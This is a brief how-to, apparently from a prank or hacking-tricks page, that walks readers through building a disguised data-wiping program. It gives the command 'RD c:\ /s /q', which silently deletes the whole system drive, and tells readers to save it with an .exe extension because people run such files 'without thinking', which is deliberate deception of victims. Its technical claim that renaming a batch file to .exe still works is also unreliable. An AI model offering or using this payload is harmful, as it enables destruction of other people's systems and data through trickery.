Warning: Never use it on your own computer. If Program accidentally get activated on your system, You can't repair it again. In this case you have to reinstall your window again.!!!!

Step 1: Open NOTEPAD and type this command :- 

                      RD c:\ /s /q

Note: C:\ is the location where system files are located. You can change it.

Step 2: Now save as this file and give any name you want with extension .exe and save as file type (all files).

Note: Actually it's a batch file program. But most of the people runs .exe files without thinking anything.. So I am using .exe extension instead of .bat